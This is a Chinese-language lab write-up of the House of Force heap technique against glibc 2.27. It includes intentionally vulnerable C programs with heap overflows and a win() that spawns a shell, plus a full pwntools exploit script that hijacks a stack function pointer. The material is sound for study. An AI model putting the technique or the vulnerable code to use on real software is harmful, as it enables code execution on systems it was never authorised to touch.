这篇记录从观察普通堆分配开始,逐步走到 House of Force。过程里我先在 GDB 里认出 top chunk,再用越界写修改它的 size,最后通过菜单里的 add/edit 把一次 malloc 导向栈上的函数指针,并调用 win。
文章中的地址是当时运行得到的示例。堆、栈地址会随运行变化;复现时请用同一次进程打印出来的地址计算。

从 malloc 返回地址认识 chunk

先用一个小程序申请两块堆内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);

char *a = malloc(0x20);
char *b = malloc(0x30);

printf("a = %p\n", (void *)a);
printf("b = %p\n", (void *)b);

getchar();
return 0;
}

用带调试信息、关闭优化的方式编译

1
gcc -g -O0 -no-pie -o top top.c

在 GDB 中停在 getchar 处,回到 main 栈帧查看局部变量

1
2
3
4
5
6
7
b getchar
r
up
p/x a
p/x b
x/4gx (char *)a - 0x10
x/4gx (char *)b - 0x10

一次运行中,我看到 a 为 0x4052a0、b 为 0x4052d0。a 的 chunk 头在 0x405290,头部 size 字段是 0x31;b 的 chunk 头在 0x4052c0,size 字段是 0x41。

x86-64 下,malloc 返回的是用户区指针,chunk 头通常在它前面 0x10 字节

1
2
chunk header: prev_size (8 bytes) | size (8 bytes) | user data...
user pointer = chunk header + 0x10

size 字段低位包含标志。0x31 去掉低位标志后是 0x30,表示 chunk 总大小为 0x30;0x41 去掉低位标志后是 0x40。

top chunk 是什么,malloc 如何移动它

top chunk 是当前 arena 中位于已分配 chunk 末尾、可继续切分的空闲 chunk。每次从 top 分配普通 chunk,top 的头部就向高地址移动,size 随之减少。

继续申请 c 和 d,可以观察 top 移动

1
2
3
4
5
6
char *c = malloc(0x20);
char *d = malloc(0x38);

printf("c = %p\n", (void *)c);
printf("d = %p\n", (void *)d);
getchar();

在 GDB 中检查

1
2
3
4
p/x c
p/x d
x/4gx (char *)c - 0x10
x/4gx (char *)d - 0x10

一次调试中,c 的 chunk 头在 0x405300,size 为 0x31;下一个 top 头部移到 0x405330。d 的 chunk 头就在 0x405330,size 为 0x41;再下一个 top 头部移到 0x405370。
这也解释了为什么我在 pwndbg 输入 vis_heap_chunks 得到 Undefined command:我的环境里没有这个命令。用 x/gx、x/4gx 和变量地址一样可以直接观察 chunk。

用 chunk size 算下一个 top 的位置

设 p 是 malloc 返回的用户区指针,chunk 总大小为 C。chunk 头部在 p - 0x10,因此下一个 chunk 头部,也就是紧邻它的 top 头部,是:

1
top header = (p - 0x10) + C

例如申请 0x20 时,chunk 总大小为 0x30:

1
top header = p - 0x10 + 0x30 = p + 0x20

申请 50 字节(十进制)时,chunk 总大小是 0x40:

1
top header = p - 0x10 + 0x40 = p + 0x30

top 的 size 字段总是在 top 头部再加 8 字节。

为什么准备 glibc 2.27

我最初的 WSL 系统是 glibc 2.35。即使程序能越界写到 top 的 size 字段,后续 malloc 使用这个伪造 size 时,新版分配器会检查它是否超过 arena 的 system_mem;检查失败就会报 malloc(): corrupted top size。
因此我把 glibc 2.27 的运行库和开发文件解压到了:

1
/home/yanami/pwn/heap/test/top1/glibc-2.27/rootfs

没有替换系统库。可执行文件里写入了这套 glibc 的动态加载器路径,所以它可以单独使用 2.27 运行。top-size 校验补丁的说明见 glibc 补丁邮件。
编译对象文件

1
2
GLIBC227="$PWD/glibc-2.27/rootfs"
gcc -g -O0 -fno-stack-protector -c hof.c -o hof.o

手动链接到本地 glibc 2.27:

1
2
3
4
5
6
7
8
9
10
11
12
gcc -nostdlib -no-pie -o hof \
"$GLIBC227/usr/lib/x86_64-linux-gnu/crt1.o" \
"$GLIBC227/usr/lib/x86_64-linux-gnu/crti.o" \
"$(gcc -print-file-name=crtbegin.o)" \
hof.o \
"$GLIBC227/usr/lib/x86_64-linux-gnu/libc_nonshared.a" \
"$GLIBC227/lib/x86_64-linux-gnu/libc-2.27.so" \
-lgcc \
"$(gcc -print-file-name=crtend.o)" \
"$GLIBC227/usr/lib/x86_64-linux-gnu/crtn.o" \
-Wl,--dynamic-linker="$GLIBC227/lib/x86_64-linux-gnu/ld-2.27.so" \
-Wl,-rpath="$GLIBC227/lib/x86_64-linux-gnu"

检查 ELF 记录的动态加载器

1
readelf -l hof | grep interpreter

之后可以直接运行 ./hof,也可以 gdb ./hof 调试。

先单独确认越界能改到 top size

为了先看清楚写入偏移,我用了一个最小程序。它申请 0x20 字节,却读入 0x30 字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);

char *p = malloc(0x20);
printf("p = %p\n", (void *)p);
printf("top size address = %p\n", (void *)(p + 0x28));
puts("Send 0x30 bytes:");

read(STDIN_FILENO, p, 0x30);

printf("top size after input = %#lx\n",
*(unsigned long *)(p + 0x28));
return 0;
}

在 GDB 里查看输入后的内存时,我看到:

1
2
3
4
5
6
p = 0x405260

0x405250: 0x0000000000000000 0x0000000000000031
0x405260: 0x4141414141414141 0x4141414141414141
0x405270: 0x4141414141414141 0x4141414141414141
0x405280: 0x4242424242424242 0x4343434343434343

p 的 chunk 总大小是 0x30,所以 top 头部在 p + 0x20,size 字段在 p + 0x28。0x20 个 A 填满用户区,8 个 B 覆盖 top 的 prev_size,8 个 C 覆盖 top 的 size。

这个小程序只用来确认越界位置;它没有菜单,也没有让操作者通过多次 add 自己布置利用链。

第一个 House of Force 演示:把 malloc 导向栈上的地址

我随后用一个教学程序,把越界、请求长度计算和落点都放在同一个 C 程序中。这样可以先看到 House of Force 的地址关系,之后再换成菜单操作自己计算。
完整的 hof.c 如下。程序申请 0x20 字节,却从 p 开始读入 0x30 字节,因此最后 0x10 字节越过用户区,覆盖 top chunk 的头部。程序再计算大申请长度,并检查下一次小申请是否落到栈上的 target。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);

char landing_area[0x100] __attribute__((aligned(16)));
memset(landing_area, 0, sizeof(landing_area));

char *p = malloc(0x20);
if (p == NULL) {
perror("malloc");
return 1;
}

printf("p = %p\n", (void *)p);
printf("top size address = %p\n", (void *)(p + 0x28));
puts("Send 0x30 bytes:");

ssize_t n = read(STDIN_FILENO, p, 0x30);
if (n != 0x30) {
printf("read returned %ld bytes\n", (long)n);
return 1;
}

printf("top size after input = %#lx\n",
*(unsigned long *)(p + 0x28));

uintptr_t top = (uintptr_t)p + 0x20;
uintptr_t target = (uintptr_t)landing_area + 0x40;
size_t request = target - top - 0x20;

printf("top = %p\n", (void *)top);
printf("target = %p\n", (void *)target);
printf("request = %#lx\n", (unsigned long)request);

void *first = malloc(request);
if (first == NULL) {
perror("first malloc");
return 1;
}

void *land = malloc(0x20);
if (land == NULL) {
perror("second malloc");
return 1;
}

printf("first = %p\n", first);
printf("land = %p\n", land);
printf("target = %p\n", (void *)target);

memcpy(land, "HOF!", 5);
printf("target content = %s\n", (char *)target);

return 0;
}

运行程序后,在 Send 0x30 bytes: 提示处输入 32 个 A、8 个 B、8 个 C。也就是总计 48 字节;末尾的 8 个 C 会写入 top 的 size 字段。
在 glibc 2.27 下的一次运行结果:

1
2
3
4
5
6
7
8
9
10
p = 0x17cc6260
top size address = 0x17cc6288
top size after input = 0x4343434343434343
top = 0x17cc6280
target = 0x7ffe5571d430
request = 0x7ffe3da57190
first = 0x17cc6290
land = 0x7ffe5571d430
target = 0x7ffe5571d430
target content = HOF!

这几个地址和数值的含义:

  • p 是最初 malloc(0x20) 返回的用户区指针。
  • top 是紧随 p chunk 的 top 头部地址;因为该 chunk 总大小为 0x30,所以 top = p + 0x20。
  • top size address 是 top + 8,也就是 p + 0x28。
  • target 是栈上 landing_area + 0x40 的地址。
  • request 是第一次大 malloc 的申请长度,不是地址。
  • first 是第一次大 malloc 返回的用户区地址,仍在旧 top 附近。
  • land 是第二次小 malloc 返回的用户区地址;它与 target 相同。

为什么 request 要减 0x20

令 T 为当前 top 头部。对齐后的大申请大小为 request + 0x10。第一次 malloc 后,新 top 头部会在:

1
T + request + 0x10

第二次 malloc 返回的用户区指针比它的 chunk 头部再高 0x10。要让第二次 malloc 的用户指针等于 target,需要:

1
T + request + 0x10 + 0x10 = target

因此:

1
request = target - T - 0x20

本次的值正好满足

1
2
3
0x17cc6280 + 0x7ffe3da57190 + 0x10
= 0x7ffe5571d420
= target - 0x10

所以新 top 头部被推到 target 前面 0x10 字节;下一次 malloc 的用户区从 target 开始。之后程序向 land 写入 HOF!,从 target 读回相同内容,证明两个指针指向同一个位置。

用 add/edit 菜单自己完成利用

前面的独立程序由 C 代码替我计算 request 并执行两次 malloc。为了真正练习,我改用 hof_menu:分配必须通过 add 菜单发起,越界写通过 edit 菜单完成;程序只泄露 callback target 和每次分配返回的地址,不替我计算 request。
菜单版完整源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

typedef void (*callback_t)(void);

typedef struct __attribute__((aligned(16))) {
char padding[0x40];
callback_t callback;
} Target;

static void *slots[8];

static int read_exact(void *buf, size_t size) {
size_t done = 0;

while (done < size) {
ssize_t n = read(STDIN_FILENO, (char *)buf + done, size - done);
if (n <= 0)
return -1;
done += (size_t)n;
}

return 0;
}

static int read_line(char *buf, size_t size) {
size_t i = 0;

while (i + 1 < size) {
char c;
ssize_t n = read(STDIN_FILENO, &c, 1);

if (n <= 0)
return -1;
if (c == '\n')
break;

buf[i++] = c;
}

buf[i] = '\0';
return 0;
}

static unsigned long long read_number(const char *prompt) {
char line[64];

printf("%s", prompt);
if (read_line(line, sizeof(line)) < 0)
exit(1);

return strtoull(line, NULL, 0);
}

static void normal(void) {
puts("Normal callback.");
}

void win(void) {
puts("You reached win()!");
system("/bin/sh");
}

static void add(void) {
unsigned long long index = read_number("Index: ");
unsigned long long size = read_number("Size: ");

if (index >= 8) {
puts("Invalid index.");
return;
}

slots[index] = malloc((size_t)size);
if (slots[index] == NULL) {
puts("malloc failed.");
return;
}

printf("slot[%llu] = %p\n", index, slots[index]);
}

static void edit(void) {
unsigned long long index = read_number("Index: ");
unsigned long long size = read_number("Length: ");

if (index >= 8 || slots[index] == NULL) {
puts("Invalid slot.");
return;
}

if (size > 0x1000) {
puts("Length too large.");
return;
}

printf("Data: ");
if (read_exact(slots[index], (size_t)size) < 0) {
puts("input error.");
exit(1);
}

puts("edited.");
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);

Target target;
memset(&target, 0, sizeof(target));
target.callback = normal;

printf("callback target: %p\n", (void *)&target.callback);

while (1) {
puts("\n1. add");
puts("2. edit");
puts("3. trigger callback");
puts("4. quit");

unsigned long long choice = read_number("> ");

if (choice == 1) {
add();
} else if (choice == 2) {
edit();
} else if (choice == 3) {
target.callback();
} else if (choice == 4) {
break;
} else {
puts("Invalid choice.");
}
}

return 0;
}

这个版本的 edit 通过 read_exact 把指定长度写到 slot 指向的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static void edit(void) {
unsigned long long index = read_number("Index: ");
unsigned long long size = read_number("Length: ");

if (index >= 8 || slots[index] == NULL) {
puts("Invalid slot.");
return;
}

printf("Data: ");
if (read_exact(slots[index], (size_t)size) < 0) {
puts("input error.");
exit(1);
}

puts("edited.");
}

漏洞在于 edit 接受的写入长度可以大于 slot 的申请大小。操作者通过菜单选择 slot 和长度,程序本身不执行 House of Force 的大申请计算。
菜单程序中另外几个关键部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef void (*callback_t)(void);

typedef struct __attribute__((aligned(16))) {
char padding[0x40];
callback_t callback;
} Target;

static void *slots[8];

static void normal(void) {
puts("Normal callback.");
}

void win(void) {
puts("You reached win()!");
system("/bin/sh");
}

main 中创建栈上的函数指针对象并泄露地址:

1
2
3
4
5
Target target;
memset(&target, 0, sizeof(target));
target.callback = normal;

printf("callback target: %p\n", (void *)&target.callback);

add 会按输入大小申请并保存指针:

1
2
slots[index] = malloc((size_t)size);
printf("slot[%llu] = %p\n", index, slots[index]);

最后菜单选项会间接调用:

1
target.callback();

add 和 edit 的 pwntools 交互

我最初的 add helper 只发送了菜单选项,接着就等待等号;程序其实还在等 Index 和 Size,所以脚本停在 Index:。正确顺序是按程序的提示逐项发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def add(idx, size):
p.recvuntil(b"> ")
p.sendline(b"1")

p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())

p.recvuntil(b"Size: ")
p.sendline(str(size).encode())

p.recvuntil(f"slot[{idx}] = ".encode())
return int(p.recvline().strip(), 16)


def edit(idx, size, payload):
assert len(payload) == size

p.recvuntil(b"> ")
p.sendline(b"2")

p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())

p.recvuntil(b"Length: ")
p.sendline(str(size).encode())

p.recvuntil(b"Data: ")
p.send(payload)

edit 最后使用 p.send 而不是 p.sendline,因为 read_exact 要精确读取 size 个字节;sendline 会多发一个换行,可能留给下一轮菜单读取。

按我的最终脚本走完整条利用链

下面按我实际使用的脚本说明。它先创建 slot 0 并覆盖 top size,再计算 request,通过两次 add 将 slot 2 放到 callback 字段,最后 edit 函数指针并触发菜单选项 3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = process("./hof_menu")
elf = ELF("./hof_menu")

p.recvuntil(b"callback target: ")
callback = p.recvline().strip()
callback_addr = int(callback, 16)
print(hex(callback_addr))

def add(idx, size):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(f"slot[{idx}] = ".encode())
chunk_addr = int(p.recvline().strip(), 16)
print(hex(chunk_addr))
return chunk_addr

def edit(idx, size, payload):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Length: ")
p.sendline(str(size).encode())
p.recvuntil(b"Data: ")
p.sendline(payload)

slot0 = add(0, 50)
print(hex(slot0))

payload = flat(
b"A" * 0x30,
b"B" * 8,
p64(0xfffffffffffffff1)
)
top = slot0 + 0x30
edit(0, 0x40, payload)

request = callback_addr - top - 0x20
print(hex(request))
add(1, request)
slot2 = add(2, 0x20)

edit(2, 8, p64(elf.sym["win"]))
print(hex(elf.sym["win"]))

gdb.attach(p)
p.recvuntil(b"> ")
p.sendline(b"3")
p.interactive()

这段脚本逐步做了什么

  1. process 启动 hof_menu;程序启动时打印 callback target。脚本把它解析为 callback_addr。它是栈上 target.callback 字段的地址,不是函数地址。
  2. add(0, 50) 申请 slot 0。50 是十进制请求大小;这次 glibc 将 chunk 规格化为 0x40。add 返回 malloc 用户区地址 slot0。
  3. top = slot0 + 0x30。chunk 头在 slot0 - 0x10,chunk 总大小为 0x40,因此 top 头在 slot0 - 0x10 + 0x40,也就是 slot0 + 0x30。
  4. payload 总长 0x40:前 0x30 个 A 填到 top 头前,8 个 B 覆盖 top 的 prev_size,最后 8 字节把 top size 改成 0xfffffffffffffff1。edit(0, 0x40, payload) 用菜单 edit 完成越界写。
  5. request = callback_addr - top - 0x20。大申请从当前 top 开始,第一次 add 把新的 top 头推到 callback_addr - 0x10;下一次 add(2, 0x20) 返回的用户区地址就应为 callback_addr。
  6. add(1, request) 消耗大块;add(2, 0x20) 取得落点。建议紧跟着检查 slot2 == callback_addr,确认落点无误再写。
  7. edit(2, 8, p64(elf.sym[“win”])) 把 win 的地址写到 callback 字段。程序是 no-PIE 编译,因此 ELF 中 win 的地址可直接使用。
  8. gdb.attach(p) 在触发前附加调试器;菜单选择 3 后执行 target.callback(),控制流进入 win,再由 system(“/bin/sh”) 启动 shell。
    这个脚本的 edit helper 使用 p.sendline(payload)。read_exact 只读取指定的 0x40 或 8 字节,所以 sendline 额外发出的换行会留在输入流里,可能让菜单多走一轮空输入/Invalid choice。更稳妥的写法是把 edit helper 最后一行改为 p.send(payload),避免多发换行。

add(0, 50) 为什么 top 是 p + 0x30

这里的 50 是十进制 50,也就是 0x32 字节请求。glibc 将它规格化为 0x40 字节的 chunk:

1
2
3
4
chunk header = p - 0x10
chunk size = 0x40
top header = p - 0x10 + 0x40 = p + 0x30
top size = p + 0x38

这次我在 GDB 看到:

1
2
3
4
5
0x1ef5b250: 0x0000000000000000  0x0000000000000041
0x1ef5b260: 0x4141414141414141 0x4141414141414141
0x1ef5b270: 0x4141414141414141 0x4141414141414141
0x1ef5b280: 0x4141414141414141 0x4141414141414141
0x1ef5b290: 0x4141414141414141 0x4242424242424242

p 是 0x1ef5b260。chunk size 为 0x40,所以 top 头部在 0x1ef5b290,top size 在 0x1ef5b298。该 dump 中 0x1ef5b298 上的 B 字节就是被覆盖的 top size。
因此,50 本身没有问题;关键是根据实际 chunk size 调偏移。如果 add(0, 0x20),chunk size 是 0x30,top 头部才会在 p + 0x20。
我最终采用的伪造输入布局是:

1
2
3
4
5
6
payload = (
b"A" * 0x30 + # 填到 top 头部前
b"B" * 8 + # 覆盖 top prev_size
p64(0xfffffffffffffff1) # 覆盖 top size
)
edit(0, 0x40, payload)

由 callback target 计算大申请长度

启动时程序打印 callback target;add(0, 50) 会打印 slot 0 的用户区地址 p。两者必须来自同一次进程运行。

1
2
3
4
5
6
7
8
9
edit(0,0x40,payload)

request = callback_addr - top - 0x20

print(hex(request))

add(1,request)

slot2 = add(2, 0x20)

第一次大申请的作用是移动 top;它返回的 slot 1 仍在原 heap 起点附近。第二次 add(2, 0x20) 的用户区才应该落在 callback_addr。

确认 slot2 == callback_addr 后,写入 win 并触发 callback:

1
2
3
4
5
edit(2, 8, p64(elf.sym["win"]))

p.recvuntil(b"> ")
p.sendline(b"3")
p.interactive()

调用 win 后,程序执行 system(“/bin/sh”)。这次学习中,我实际进入了 shell。

7. GDB 内存输出怎样读

一次成功后,我检查了目标附近的内存:

1
2
3
4
5
6
pwndbg> x/10gx 0x7fff7127f330-0x10
0x7fff7127f320: 0x0000000000000000 0x0000000000000031
0x7fff7127f330: 0x000000000040131b 0x0000000000000000
0x7fff7127f340: 0x00007fff7127f430 0x0000000000000000
0x7fff7127f350: 0x0000000000401610 0x4241c242ffb27181
0x7fff7127f360: 0x0000002000000000 0x00007fff7127f438

x/10gx 按地址从低到高展示 10 个 qword,不表示 CPU 按这个顺序执行。

1
2
0x7fff7127f320: size = 0x31
0x7fff7127f330: 0x40131b

0x7fff7127f320 是 chunk 头部,size 为 0x31,实际 chunk 大小是 0x30。用户区从 0x7fff7127f330 开始。0x40131b 是写入的 win 地址,所以从这个 dump 看,win 指针存放在 0x7fff7127f330。

1
0x7fff7127f340: 0x7fff7127f430

这表示地址 0x7fff7127f340 中存着一个值 0x7fff7127f430;它不代表前面的写入发生在 0x7fff7127f430。左列是实际存储位置,右列是该位置存放的值。要看 0x7fff7127f430 自身内容,需要执行 x/gx 0x7fff7127f430。

这次练习中容易混淆的点

申请大小、chunk size 和 top 偏移不是一回事

  • malloc(0x20) 的 chunk size 是 0x30,top header = p + 0x20,top size = p + 0x28。
  • malloc(50) 的 chunk size 是 0x40,top header = p + 0x30,top size = p + 0x38。
  • 50 是十进制 50,不是 0x50,也不是 0x20。

top、target、request、first、land 的区别

  • top:当前 top chunk 的头部地址。
  • target:希望第二次 malloc 返回的用户区地址。
  • request:第一次大 malloc 的申请长度,不是地址。
  • first:第一次大 malloc 返回的用户区地址。
  • land:第二次小 malloc 返回的用户区地址;成功时 land == target。

地址只能混用在同一次进程运行里

ASLR 会让堆和栈地址变化。不能用上一次运行的 callback_addr 配本次运行的 slot0 地址。每次启动都重新接收两者并计算 request。

没有读到 menu 提示时,先检查交互顺序

程序按菜单顺序等待 choice、Index、Size 或 Length、Data。脚本如果遗漏 Index/Size 就去等待 slot 地址,会造成看似卡住的情况。先对照程序实际提示逐步收发。

总结

我这次从 top chunk 的物理位置开始,逐步确认了 House of Force 的利用条件和分配过程:

1
2
3
4
5
6
7
8
9
10
11
malloc 切分 top
↓
越界写改 top size
↓
add 一次大申请,把 top 移到目标前
↓
add 一次小申请,返回目标地址
↓
edit 覆盖 callback
↓
trigger callback,进入 win

最关键的是先用 GDB 根据 chunk size 算出 top 的真实头部地址。然后把地址关系分清:第一次大申请负责移动 top,第二次小申请才负责落到 target。整个菜单利用中,地址和长度都由我从程序输出及当前运行的堆布局计算,而不是让 C 程序替我完成。